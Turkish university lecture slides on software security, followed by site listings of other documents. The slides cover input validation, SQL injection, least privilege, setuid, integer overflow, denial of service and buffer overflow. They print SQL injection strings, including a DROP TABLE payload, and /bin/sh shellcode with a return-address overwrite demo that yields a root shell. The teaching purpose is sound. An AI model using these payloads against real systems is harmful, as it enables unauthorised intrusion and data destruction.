Yazılım Güvenliği ve Güvenlik Açıkları. Ozan Çağlayan, Araştırma Görevlisi Galatasaray Üniversitesi, Bilgisayar Mühendisliği

Ebat: px
Şu sayfadan göstermeyi başlat:

Download "Yazılım Güvenliği ve Güvenlik Açıkları. Ozan Çağlayan, Araştırma Görevlisi Galatasaray Üniversitesi, Bilgisayar Mühendisliği"

Transkript

1 Yazılım Güvenliği ve Güvenlik Açıkları Ozan Çağlayan, Araştırma Görevlisi Galatasaray Üniversitesi, Bilgisayar Mühendisliği

2 Bilgisayar Güvenliği Nedir? Bilgisayar sistemlerinin, bilginin veya hizmetlerin istenmeyen veya yetkilendirilmemiş erişimden, değişimden veya yıkımdan korunmasıdır.

3 Geçersiz Kullanıcı Girişi - I Güvenli bir tasarım kullanıcı girdisine asla güvenmemelidir!

4 Geçersiz Kullanıcı Girişi - I Güvenli bir tasarım kullanıcı girdisine asla güvenmemelidir! int main(int argc, char *argv) { char buffer[100]; printf( Adınızı girin\n ); gets(buffer); printf( Merhaba ); printf(buffer); printf( \n ); return 0; }

5 Geçersiz Kullanıcı Girişi - I Güvenli bir tasarım kullanıcı girdisine asla güvenmemelidir! int main(int argc, char *argv) { char buffer[100]; printf( Adınızı girin\n ); gets(buffer); printf( Merhaba ); printf(buffer); printf( \n ); return 0; }

6 Belgeleri Okuyun! gets(char *s) reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with a null byte ('\0'). No check for buffer overrun is performed.

7 Belgeleri Okuyun! gets(char *s) reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with a null byte ('\0'). No check for buffer overrun is performed. Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead!

8 Geçersiz Kullanıcı Girişi - II Tasarım olarak güvenli bir sistem kullanıcı girişini mutlaka doğrulamalıdır!

9 Geçersiz Kullanıcı Girişi - II Tasarım olarak güvenli bir sistem kullanıcı girişini mutlaka doğrulamalıdır!

10 Geçersiz Kullanıcı Girişi - II Tasarım olarak güvenli bir sistem kullanıcı girişini mutlaka doğrulamalıdır!

11 Geçersiz Kullanıcı Girişi - II Tasarım olarak güvenli bir sistem kullanıcı girişini mutlaka doğrulamalıdır!

12 Geçersiz Kullanıcı Girişi - II Tasarım olarak güvenli bir sistem kullanıcı girişini mutlaka doğrulamalıdır!

13 Geçersiz Kullanıcı Girişi III SQL Injection Tasarım olarak güvenli bir sistem kullanıcı girişini mutlaka doğrulamalıdır!

14 Geçersiz Kullanıcı Girişi III SQL Injection Tasarım olarak güvenli bir sistem kullanıcı girişini mutlaka doğrulamalıdır! query = SELECT * FROM users WHERE = ' + + '; ozan@gmail.com // query: SELECT * FROM users WHERE = 'ozan@gmail.com'; execute_query(query);

15 Geçersiz Kullanıcı Girişi III SQL Injection Tasarım olarak güvenli bir sistem kullanıcı girişini mutlaka doğrulamalıdır! query = SELECT * FROM users WHERE = ' + + '; ' OR '1'='1 // query: SELECT * FROM users WHERE = '' OR '1'='1'; execute_query(query);

16 Geçersiz Kullanıcı Girişi III SQL Injection Tasarım olarak güvenli bir sistem kullanıcı girişini mutlaka doğrulamalıdır! query = SELECT * FROM users WHERE = ' + + '; a';drop TABLE users; SELECT * FROM userinfo WHERE 't' = 't // query: SELECT * FROM users WHERE = 'a';drop TABLE users; SELECT * FROM userinfo WHERE 't' = 't'; execute_query(query);

17 Geçersiz Kullanıcı Girişi III SQL Injection

18 Geçersiz Kullanıcı Girişi III SQL Injection

19 Geçersiz Kullanıcı Girişi III SQL Injection

20 Geçersiz Kullanıcı Girişi III SQL Injection

21 Geçersiz Kullanıcı Girişi III SQL Injection

22 En az ayrıcalık Prensibi Principle of Least Privilege Bir bilgisayar sisteminde her bileşen (kullanıcı, uygulama, ağ hizmeti, vb.) sadece ihtiyacı olan bilgi ve özkaynaklara erişebilmelidir:

23 En az ayrıcalık Prensibi Principle of Least Privilege Bir bilgisayar sisteminde her bileşen (kullanıcı, uygulama, ağ hizmeti, vb.) sadece ihtiyacı olan bilgi ve özkaynaklara erişebilmelidir: Yedekleme kullanıcısının sadece yedekleme ile ilgili uygulamaları çalıştırabilmesi, örneğin sisteme yazılım yükleyememesi.

24 root/superuser Unix ve türevi sistemlerde geleneksel olarak ayrıcalıklı (superuser/root) ve sıradan kullanıcılar mevcuttur:

25 root/superuser Unix ve türevi sistemlerde geleneksel olarak ayrıcalıklı (superuser/root) ve sıradan kullanıcılar mevcuttur: Sıradan kullanıcı Sadece kendi dosyalarına tam erişim hakkı vardır, Sistem dosyalarını ve diğer dosyaları değiştiremez, $ id uid=1000(ozan) 'root' kullanıcı Tüm dosyalara 'tam' erişimi vardır, Açılış parametrelerini değiştirebilir, Kısacası 'tüm' haklara sahiptir. # id uid=0(root)

26 root/superuser Unix ve türevi sistemlerde geleneksel olarak ayrıcalıklı (superuser/root) ve sıradan kullanıcılar mevcuttur: Sıradan kullanıcı Sadece kendi dosyalarına tam erişim hakkı vardır, 'root' kullanıcı su/sudo Sistem dosyalarını ve diğer dosyaları değiştiremez, $ id uid=1000(ozan) Tüm dosyalara 'tam' erişimi vardır, Açılış parametrelerini değiştirebilir, Kısacası 'tüm' haklara sahiptir. # id uid=0(root)

27 Parola değiştirme Sıradan bir kullanıcı parolasını değiştirmek istediğinde passwd komutunu kullanır:

28 Parola değiştirme Sıradan bir kullanıcı parolasını değiştirmek istediğinde passwd komutunu kullanır: $ passwd Changing password for user ozan. Changing password for ozan. (current) UNIX password: ***** New password: ***** Retype new password: ***** Password successfully changed.

29 Parola değiştirme Sıradan bir kullanıcı parolasını değiştirmek istediğinde passwd komutunu kullanır: $ passwd Changing password for user ozan. Changing password for ozan. (current) UNIX password: ***** New password: ***** Retype new password: ***** Password successfully changed. Parolanın değiştirilmesi ilgili sistem dosyasındaki parola bilgisinin değiştirilmesi demektir. Sıradan kullanıcının sistem dosyalarına yazma yetkisi yoksa nasıl parolasını değiştirebiliyor?

30 setuid() setuid biti 1 olan çalıştırılabilir dosyalar, çalıştırıldıklarında daha yüksek haklara erişip (örn. root) o haklarla çalışırlar:

31 setuid() setuid biti 1 olan çalıştırılabilir dosyalar, çalıştırıldıklarında daha yüksek haklara erişip (örn. root) o haklarla çalışırlar: $ ls /usr/bin/{passwd,firefox,su} -rwxr-xr-x 1 root root 6,9K Ara 1 00:15 /usr/bin/firefox -rwsr-xr-x 1 root root 40K Ara 11 14:03 /usr/bin/su -rwsr-xr-x 1 root root 28K Ara 4 19:27 /usr/bin/passwd

32 setuid() setuid biti 1 olan çalıştırılabilir dosyalar, çalıştırıldıklarında daha yüksek haklara erişip (örn. root) o haklarla çalışırlar: $ ls /usr/bin/{passwd,firefox,su} -rwxr-xr-x 1 root root 6,9K Ara 1 00:15 /usr/bin/firefox -rwsr-xr-x 1 root root 40K Ara 11 14:03 /usr/bin/su -rwsr-xr-x 1 root root 28K Ara 4 19:27 /usr/bin/passwd setuid biti etkin

33 setuid() setuid bitini etkin olarak tanımlayan yazılımlar oldukça dikkatli geliştirilmelidir, Bu yazılımlardaki güvenlik açıklarından yararlanılarak sıradan kullanıcıların root hakları elde etmesi (privilege escalation) kaçınılmazdır.

34 Vaka I - Android 'adb' Açığı

35 Vaka I - Android 'adb' Açığı

36 Vaka I - Android 'adb' Açığı

37 Vaka I - Android 'adb' Açığı

38 Vaka I - Android 'adb' Açığı

39 Vaka I - Android 'adb' Açığı

40 Vaka I - Android 'adb' Açığı

41 Vaka I - Android 'adb' Açığı root!

42 Çözüm - Android 'adb' Açığı Fix bug Check return values. diff --git a/adb/adb.c b/adb/adb.c index 95dc001..d9f96df a/adb/adb.c +++ b/adb/adb.c /* then switch user and group to "shell" */ setgid(aid_shell); setuid(aid_shell); if (setgid(aid_shell)!= 0) { exit(1); } if (setuid(aid_shell)!= 0) { exit(1); } /* set CAP_SYS_BOOT capability, so "adb reboot" will succeed */ header.version = _LINUX_CAPABILITY_VERSION;...

43 Çözüm - Android 'adb' Açığı Fix bug Check return values. diff --git a/adb/adb.c b/adb/adb.c index 95dc001..d9f96df a/adb/adb.c +++ b/adb/adb.c /* then switch user and group to "shell" */ setgid(aid_shell); setuid(aid_shell); if (setgid(aid_shell)!= 0) { Çözüm sadece fonksiyonların exit(1); dönüş değerlerini kontrol } if (setuid(aid_shell)!= 0) { etmekten geçiyor. exit(1); } /* set CAP_SYS_BOOT capability, so "adb reboot" will succeed */ header.version = _LINUX_CAPABILITY_VERSION;...

44 Vaka II - Traceroute SuSE: local root vulnerability in traceroute Traceroute is a tool that can be used to track packets in a TCP/IP network to determine its route or to find out about not working routers. Traceroute requires root privilege to open a raw socket. This allows a malicious user to gain root access by exploiting a buffer overflow at a later point.

45 Çözüm? Traceroute aracının gerçekten root yetkilerinin tamamına ihtiyacı var mıdır?

46 Çözüm: Yeterlikler Capabilities Her türlü yetkiye sahip olan ayrıcalıklı süreçlerin (root) ayrıcalıklarının ufak ve bağımsız birimlere bölünmesi:

47 Çözüm: Yeterlikler Capabilities Her türlü yetkiye sahip olan ayrıcalıklı süreçlerin (root) ayrıcalıklarının ufak ve bağımsız birimlere bölünmesi: CAP_SYS_BOOT: CAP_SYS_TIME: CAP_NET_ADMIN: CAP_NET_RAW:... Baştan başlatma Zamanı ayarlama Ağ yönetimi Ham soket açma

48 Çözüm: Yeterlikler Capabilities SuSE: local root vulnerability in traceroute-nanog/nkitb Traceroute is a tool that can be used to track packets in a TCP/IP network to determine its route or to find out about not working routers. Traceroute requires root privilege to open a raw socket. This allows a malicious user to gain root access by exploiting a buffer overflow at a later point.

49 Çözüm: Yeterlikler Capabilities SuSE: local root vulnerability in traceroute-nanog/nkitb Traceroute is a tool that can be used to track packets in a TCP/IP network to determine its route or to find out about not working routers. Traceroute CAP_NET_RAW requires root privilege to open a raw socket. This Yeterliği allowskullanıldı a malicious user to gain root access by exploiting a buffer overflow at a later point. Starting with 8.1, SuSE Linux contains a traceroute program rewritten by Olaf Kirch that does not require root privileges anymore. This version of traceroute is not vulnerable.

50 İzinler (Android Yeterlikleri) Permissions (aka. Capabilities in Android) Basit bir Android uygulaması öntanımlı olarak hiçbir izne sahip değildir. Her uygulama ihtiyacı olan izinleri önceden belirtmelidir: <manifest xmlns:android="..." package="com.android.app.myapp" > <uses-permission android:name="android.permission.receive_sms" />...

51 İzinler (Android Yeterlikleri) Permissions (aka. Capabilities in Android)

52 Neden Güvensiz Kod Yazarız?

53 Neden Güvensiz Kod Yazarız? Çoğu müfredat bilgisayar güvenliğini içermez, içerse de genellikle kriptografi ve ağ protokolleri ile kısıtlıdır,

54 Neden Güvensiz Kod Yazarız? Çoğu müfredat bilgisayar güvenliğini içermez, içerse de genellikle kriptografi ve ağ protokolleri ile kısıtlıdır, Programcılar insandır ve insanlar tembeldir, bu sebepten programcılar kolay yolu güvenli yola tercih edeceklerdir,

55 Neden Güvensiz Kod Yazarız? Çoğu müfredat bilgisayar güvenliğini içermez, içerse de genellikle kriptografi ve ağ protokolleri ile kısıtlıdır, Programcılar insandır ve insanlar tembeldir, bu sebepten programcılar kolay yolu güvenli yola tercih edeceklerdir, Çoğu programcı özetle iyi programcı değildir,...

56 Popüler 10 Güvenli Kodlama Tekniği Girdileri denetle, Derleyici uyarılarını dikkate al, Güvenlik politikalarını dikkate alan bir yazılım mimarisi oluştur, Basit düşün, Öntanımlı reddet, En az ayrıcalık prensibine sadık kal, Diğer sistemlere yolladığın verileri iyileştir (sanitization), Derinliğine-güvenlik (defense in depth), Kalite denetimi & Test, Kullandığın dile göre güvenli bir kodlama standardı seç.

57 Top 10 Güvenli Kodlama Güvenlik uzmanları ve üstadlar Teknikleri (Hacker) etrafından dolanmak deyiminin hakkını veren insanlardır.

58 Güvenlikte Açık-kaynak Modeli Güvenliğe dair her şeyde açık-kaynaklı kod tercih edin. Bruce Schneier Amerikalı şifreleme ve bilgisayar güvenliği uzmanı

59 Güvenlikte Açık-kaynak Modeli Çok daha fazla insanın kodunuzu incelediği gerçeği bir yana, model temiz kod yazmanızı ve standartlara uymanızı zorluyor. Vincent Rijmen AES geliştiricisi

60 Güvenlikte Açık-kaynak Modeli Bilgisayar yazılımlarında güvenliği sağlamak için gizliliğe bağımlı olmak basitçe gerçek dışıdır. Yazılımınızın çalışma prensiplerini genel dolaşımdan sakınabilirsiniz ama ciddi rakiplerinizin yazılımınızı reverse-engineer etmelerini engelleyebilir misiniz? Büyük ihtimalle hayır. Whitfield Diffie Açık-anahtarlı şifrelemenin mucidi

61 Yazılım Hataları & Güvenlik Açıkları

62 Tamsayı Taşması Çeşitli veri boyutlarının alabilecekleri en büyük işaretsiz değerler: 8 bit: 28 1= bit: 216 1= 65,535 32bit: 232 1= 4,294,967,295 64bit: 264 1= 18,446,744,073,709,551,615

63 Tamsayı Taşması int main(int argc, char *argv) { // Each customer starts with 100$ unsigned int debit = 100; show_card_debit(debit); // 90$ transaction for amazon payment debit = debit - 90; show_card_debit(debit); Çıktı ----// 16$ transaction for Akbil :) Debit: 100 debit = debit - 16; Debit: 10 show_card_debit(debit); Debit: return 0; }

64 Tamsayı Taşması

65 Tamsayı Taşması = 4,294,967,290

66 Yerel Hizmet Reddi Local Denial of Service Bir güvenlik açığından faydalanan kötü niyetli bir kullanıcının sistemin: Çökmesini, Çok yüksek bellek kullanım oranına erişmesini, Çok yüksek CPU kullanım oranına erişmesini, sağlamasıdır.

67 Yerel Hizmet Reddi Local Denial of Service

68 Yerel Hizmet Reddi Local Denial of Service Reading TCP stats when using TCP Illinois congestion control algorithm can cause a divide by zero kernel oops. Steps to Reproduce: Monitor internal TCP information via command "ss -i" 2. Establish new TCP connection to machine

69 Yerel Hizmet Reddi Local Denial of Service --- a/net/ipv4/tcp_illinois.c +++ b/net/ipv4/tcp_illinois.c -313, ,13 static void tcp_illinois_info(struct sock *sk,.tcpv_rttcnt = ca->cnt_rtt,.tcpv_minrtt = ca->base_rtt, }; do_div(t, info.tcpv_rttcnt); info.tcpv_rtt = t; if (info.tcpv_rttcnt > 0) { do_div(t, info.tcpv_rttcnt); info.tcpv_rtt = t; }...

70 Tampon Taşması Buffer Overflow

71 Tampon Taşması Buffer Overflow char shellcode[] = { "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68" }; void test_shellcode(int dummy) { char **ptr = (char **)&dummy; // Point to saved IP ptr = ptr - 1; *ptr = shellcode; } int main() { test_shellcode(112); return 0; }

72 Tampon Taşması Buffer Overflow char shellcode[] = { "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68" }; void test_shellcode(int dummy) { char **ptr = (char **)&dummy; // Point to saved IP ptr = ptr - 1; *ptr = shellcode; } int main() { test_shellcode(112); return 0; } dummy = 112 Dönüş adresi ptr ptr - 1

73 Tampon Taşması Buffer Overflow char shellcode[] = { "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68" }; void test_shellcode(int dummy) { char **ptr = (char **)&dummy; // Point to saved IP ptr = ptr - 1; *ptr = shellcode; } int main() { test_shellcode(112); return 0; } dummy = 112 Dönüş adresi ptr ptr - 1

74 Tampon Taşması Buffer Overflow char shellcode[] = { "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68" }; void test_shellcode(int dummy) { char **ptr = (char **)&dummy; // Point to saved IP ptr = ptr - 1; *ptr = shellcode; } int main() { test_shellcode(112); return 0; } dummy = 112 Dönüş adresi ptr ptr - 1

75 Tampon Taşması Buffer Overflow char shellcode[] = { int main() { "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" char *args[] = {"/bin/sh", NULL}; "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" execve(args[0], args, NULL); "\x6e\x2f\x73\x68" return 0; }; } void test_shellcode(int dummy) { char **ptr = (char **)&dummy; // Point to saved IP ptr = ptr - 1; *ptr = shellcode; } int main() { test_shellcode(112); return 0; } dummy = 112 Dönüş adresi ptr ptr - 1

76 Tampon Taşması Buffer Overflow char shellcode[] = { $ gcc example.c -o example "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" $./example "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" bash 4.2 "\x6e\x2f\x73\x68" $ }; void test_shellcode(int dummy) { char **ptr = (char **)&dummy; // Point to saved IP ptr = ptr - 1; *ptr = shellcode; } int main() { test_shellcode(112); return 0; } dummy = 112 Dönüş adresi ptr ptr - 1

77 Tampon Taşması Buffer Overflow char shellcode[] = { $ hexdump -C example "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68" }; void test_shellcode(int dummy) { char **ptr = (char **)&dummy; // Point to saved IP ptr = ptr - 1; *ptr = shellcode; } int main() { test_shellcode(112); return 0; } dummy = 112 Dönüş adresi ptr ptr - 1

78 Tampon Taşması Buffer Overflow char shellcode[] = { $ hexdump -C example 7f 45 4c "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" e 00 kodu "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" Makine a "\x6e\x2f\x73\x68" }; void test_shellcode(int dummy) { char **ptr = (char **)&dummy; // Point to saved IP ptr = ptr - 1; *ptr = shellcode; } int main() { test_shellcode(112); return 0; } dummy = 112 Dönüş adresi ptr ptr - 1

79 Tampon Taşması Buffer Overflow int main(int argc, char *argv) { char buffer[100]; printf( Enter current password ); gets(buffer);... $ passwd Enter current password:password (100 karakteri doldur) \xeb\x16\x5e\x31\xd2\x52\x56\x89 \xe1\x89\xf3\x31\xc0\xb0\x0b\xcd \x80\x31\xdb\x31\xc0\x40\xcd\x80 \xe8\xe5\xff\xff\xff\x2f\x62\x69 \x6e\x2f\x73\x68 [Enter] # # id uid=0(root)

80 Tampon Taşması Koruması Buffer Overflow Protection char shellcode[] = { $ hexdump -C example 7f 45 4c "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" e 00 kodu "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" Makine a "\x6e\x2f\x73\x68" }; void test_shellcode(int dummy) { char **ptr = (char **)&dummy; // Point to saved IP ptr = ptr - 1; *ptr = shellcode; } int main() { test_shellcode(112); return 0; Canary ezilmiş mi? } Dummy = 112 Canary Dönüş adresi ptr ptr - 2

81 Teşekkürler! Ozan Çağlayan, Araştırma Görevlisi Galatasaray Üniversitesi, Bilgisayar Mühendisliği

Veritabanı Sızma Testleri Türk Standardları Enstitüsü Yazılım Test ve Belgelendirme Dairesi Başkanlığı

Veritabanı Sızma Testleri Türk Standardları Enstitüsü Yazılım Test ve Belgelendirme Dairesi Başkanlığı Veritabanı Sızma Testleri Türk Standardları Enstitüsü Yazılım Test ve Belgelendirme Dairesi Başkanlığı Tarih 1 Veritabanı Sızma Testleri Veritabanı sistemleri kritik sistemlerdir. Testler sonucunda elde

Detaylı

Sınav tarihi : Süre : 60 dak. a) strstr b) strchr c) strcat d) strcpy e) strlen. a) b) d) e) 0

Sınav tarihi : Süre : 60 dak. a) strstr b) strchr c) strcat d) strcpy e) strlen. a) b) d) e) 0 Selçuk Üniversitesi, Mühendislik Fakültesi, Harita Mühendisliği Bölümü Bitirme Sınavı Test Soruları Adı soyadı : Öğrenci no : Sınav tarihi : 01.06.2017 Süre : 60 dak. 1. t değişkeni hakkında aşağıdakilerden

Detaylı

PostgreSQL ve PL/pgSQL

PostgreSQL ve PL/pgSQL PostgreSQL ve PL/pgSQL Adnan DURSUN Uygulama tasarım ve geliştiricisi @ : adnandursun.at.asrinbilisim.com.tr : +AdnanDURSUN Sunum Akışı PL/pgSQL nedir PL/pgSQL neden kullanmalıyız PL/pgSQL in yapısı Saklı

Detaylı

Qt ile Bir Ağ Uygulaması

Qt ile Bir Ağ Uygulaması Qt ile Bir Ağ Uygulaması Aykut Aksoy aykutaksoy@myway.com sürüm 1.0 Özet Bu belge Qt ile hazırlanmış bir ağ uygulamasını anlatır. C++ bilinmesi beklenir. Bu belgede "QProcess.h" kütüphanesine ağırlık verilmiştir.

Detaylı

Sınav tarihi : Süre : 60 dak.

Sınav tarihi : Süre : 60 dak. Selçuk Üniversitesi, Mühendislik Fakültesi, Harita Mühendisliği Bölümü Final Sınavı Test Soruları Adı soyadı : Öğrenci no : Sınav tarihi : 31.05.2016 Süre : 60 dak. 1. Ekranda ne görüntülenir? int i =

Detaylı

ProFTPD FTP Sunucusu. Devrim GÜNDÜZ. TR.NET Sistem Destek Uzmanı. devrim@gunduz.org

ProFTPD FTP Sunucusu. Devrim GÜNDÜZ. TR.NET Sistem Destek Uzmanı. devrim@gunduz.org Devrim GÜNDÜZ TR.NET Sistem Destek Uzmanı devrim@gunduz.org http://seminer.linux.org.tr http://belgeler.linux.org.tr http://lkd.belgeler.org http://www.linux.org.tr/belgeler.php http://www.gunduz.org/belgeler.php

Detaylı

Bilgisayar Sistemlerine Genel Bakış

Bilgisayar Sistemlerine Genel Bakış Süleyman Demirel Üniversitesi / Mühendislik Fak. / Bilgisayar Mühendisliği Carnegie Mellon Bölümü Bilgisayar Sistemlerine Genel Bakış BIL-304: Bilgisayar Mimarisi Dersi veren öğretim üyesi: Yrd. Doç. Dr.

Detaylı

Temel Bilgisayar Programlama Final Sınavı Çalışma Notları

Temel Bilgisayar Programlama Final Sınavı Çalışma Notları Diziler Temel Bilgisayar Programlama Final Sınavı Çalışma Notları (Dr. Övünç ÖZTÜRK, Dr. Tahir Emre KALAYCI) (İnşaat Mühendisliği ve Gıda Mühendisliği Grupları İçin) Diziler aynı türden bilgileri saklamak

Detaylı

Veritabanına Giriş. Oğuzhan Ceylan. 19 Eylül 2011

Veritabanına Giriş. Oğuzhan Ceylan. 19 Eylül 2011 Veritabanına Giriş Oğuzhan Ceylan 19 Eylül 2011 Outline Veritabanı MYSQL Mysql Sorgu Komutları Bir veritabanı yaratmak ve kullanmak Veritabanı Veritabanı Verittabanı hangi alanlarda kullanılıyor. Web sitesi

Detaylı

VERİTABANI Veritabanı Yönetimi

VERİTABANI Veritabanı Yönetimi VERİTABANI Veritabanı Yönetimi YAPILANDIRILMIŞ SORGULAMA DİLİ (SQL) Veritabanı yönetimi, veritabanının yapısal özelliklerini belirtmek ve değiştirmek, veritabanına kullanıcı erişimlerini ve yetkilerini

Detaylı

PostgreSQL ve PL/pgSQL

PostgreSQL ve PL/pgSQL PostgreSQL ve PL/pgSQL Adnan DURSUN Uygulama tasarımcı ve geliştirici adnandursun@asrinbilisim.com.tr 30.04.2011 İstanbul 1. PostgreSQL Türkiye Konferansı 1 Akış PL/pgSQL nedir PL/pgSQL neden kullanmalıyız

Detaylı

Dr. Fatih AY Tel: 0 388 225 22 55 fatihay@fatihay.net www.fatihay.net

Dr. Fatih AY Tel: 0 388 225 22 55 fatihay@fatihay.net www.fatihay.net Bilgisayar Programlama Ders 6 Dr. Fatih AY Tel: 0 388 225 22 55 fatihay@fatihay.net www.fatihay.net Fonksiyon Prototipleri Fonksiyon Prototipleri Derleyici, fonksiyonların ilk hallerini (prototiplerini)

Detaylı

ORACLE DA KÜRSÖRLER. Gerekli sistem değişkenleri

ORACLE DA KÜRSÖRLER. Gerekli sistem değişkenleri ORACLE DA KÜRSÖRLER Gerekli sistem değişkenleri SQL%ISOPEN : kürsör açıksa değeri true, kapalı ise değeri false SQL%ROWCOUNT : sql ile işlem gören kayıt sayısı bulunur. SQL%FOUND : sql işlemi sonucu, en

Detaylı

Güvenlik Java ve Web Uygulama Güvenliği

Güvenlik Java ve Web Uygulama Güvenliği Güvenlik Java ve Web Uygulama Güvenliği Melih Sakarya www.melihsakarya.com melih.sakarya@gmail.com www.mergecons.com Olası Açıklar Donanımsal açıklar Sistemsel Açıklar Yazılımsal Açıklar Sosyal Mühendislik

Detaylı

C Dosyalama. Öğr. Gör. M. Ozan AKI. Rev 1.0

C Dosyalama. Öğr. Gör. M. Ozan AKI. Rev 1.0 C Dosyalama Öğr. Gör. M. Ozan AKI Rev 1.0 Dosyalama Dosyalar, disk üzerinde verilerin kalıcı olarak saklanmasını ve başka bir ortama kopyalanarak taşınabilmesini sağlayan yapılardır. Dosyalama C Dili ve

Detaylı

Big Endian & Little Endian K.Atilla Toker İzmir Üniversitesi Meslek Yüksek Okulu Bilgisayar Programcılığı 11-2009 Ver:01

Big Endian & Little Endian K.Atilla Toker İzmir Üniversitesi Meslek Yüksek Okulu Bilgisayar Programcılığı 11-2009 Ver:01 Bilgisayar i Mimarisii i Big Endian & Little Endian K.Atilla Toker İzmir Üniversitesi Meslek Yüksek Okulu Bilgisayar Programcılığı 11-2009 Ver:01 İZMIR ÜNIVERSITESI İZMIR ÜNIVERSITESI MYO BILGISAYAR PROGRAMLAMA

Detaylı

Module 2 Managing User And Computer accounts

Module 2 Managing User And Computer accounts 16 Creating Users Accounts With Command ( Komutla Kullanıcı Hesabı Oluşturma ) Organization Unit i komutla oluşturmak istersek aşağıda bulunan şekildeki yönergeleri takip ediyoruz. Module 2 Managing User

Detaylı

AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ

AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ TBIL-303-01 Veri Yapıları ve Algoritmalar LABİRENT HAZIRLAYAN 122132151 Fahri DÖNMEZ DANIŞMAN

Detaylı

Uzaktan Eğitim Uygulama ve Araştırma Merkezi

Uzaktan Eğitim Uygulama ve Araştırma Merkezi JAVA PROGRAMLAMA Öğr. Gör. Utku SOBUTAY İÇERİK 2 Java da Fonksiyon Tanımlamak Java da Döngüler Java da Şart İfadeleri Uygulamalar Java da Fonksiyon Tanımlamak JAVA DA FONKSİYON TANIMLAMAK 4 Fonksiyonlar;

Detaylı

Temel Dosya İşlemleri. Kütük Organizasyonu 1

Temel Dosya İşlemleri. Kütük Organizasyonu 1 Temel Dosya İşlemleri Kütük Organizasyonu 1 Dosyaların Temel İşlemleri Bilgiler dosyada belirli bir düzen içerisinde yer alırlar Örn: ALAN THARP 100 100 100 JOHN BISHOP 70 80 75 PAUL AUSTER Bir satırda

Detaylı

ZAFİYET TESPİTİ VE SIZMA YÖNTEMLERİ. Eyüp ÇELİK Bilgi Teknolojileri Güvenlik Uzmanı info@eyupcelik.com.tr http://www.eyupcelik.com.

ZAFİYET TESPİTİ VE SIZMA YÖNTEMLERİ. Eyüp ÇELİK Bilgi Teknolojileri Güvenlik Uzmanı info@eyupcelik.com.tr http://www.eyupcelik.com. ZAFİYET TESPİTİ VE SIZMA YÖNTEMLERİ Eyüp ÇELİK Bilgi Teknolojileri Güvenlik Uzmanı info@eyupcelik.com.tr http://www.eyupcelik.com.tr Eyüp ÇELİK Kimdir? Bilgi Güvenliği Uzmanı White Hat Hacker Ethical Hacking

Detaylı

man komut man ls (ls komutu hakkında bilgi verir.) man pwd (pwd komutu hakkında bilgi verir.)

man komut man ls (ls komutu hakkında bilgi verir.) man pwd (pwd komutu hakkında bilgi verir.) Yardım Komutları man komut Parametre olarak aldığı komut hakkında bilgiyi ekranda gösterir. man ls (ls komutu hakkında bilgi verir.) man pwd (pwd komutu hakkında bilgi verir.) Komut çalıştırıldığında uzun

Detaylı

C++ Giriş Ders 1 MSGSU Fizik Bölümü Ferhat ÖZOK Kullanılacak kaynak: Published by Juan Soulié

C++ Giriş Ders 1 MSGSU Fizik Bölümü Ferhat ÖZOK Kullanılacak kaynak:  Published by Juan Soulié Kullanılacak kaynak: http://www.cplusplus.com/doc/tutorial/ Published by Juan Soulié C++ Nedir? Arttırılmış C demektir ve C dilinin geliştirilmiş halini yansıtır. C++ öğrenmeden önce herhangi bir programlama

Detaylı

Veritabanı. Ders 2 VERİTABANI

Veritabanı. Ders 2 VERİTABANI Veritabanı Veritabanı Nedir? Birbiri ile ilişkili verilerin bir arada uzun süreli bulundurulmasıdır. Veritabanı bazen Veritabanı Yönetim sistemi veya Veritabanı Sistemi yerine de kullanılır. Gerçek dünyanın

Detaylı

BASİT C PROGRAMLARI Öğr.Gör.Dr. Mahmut YALÇIN

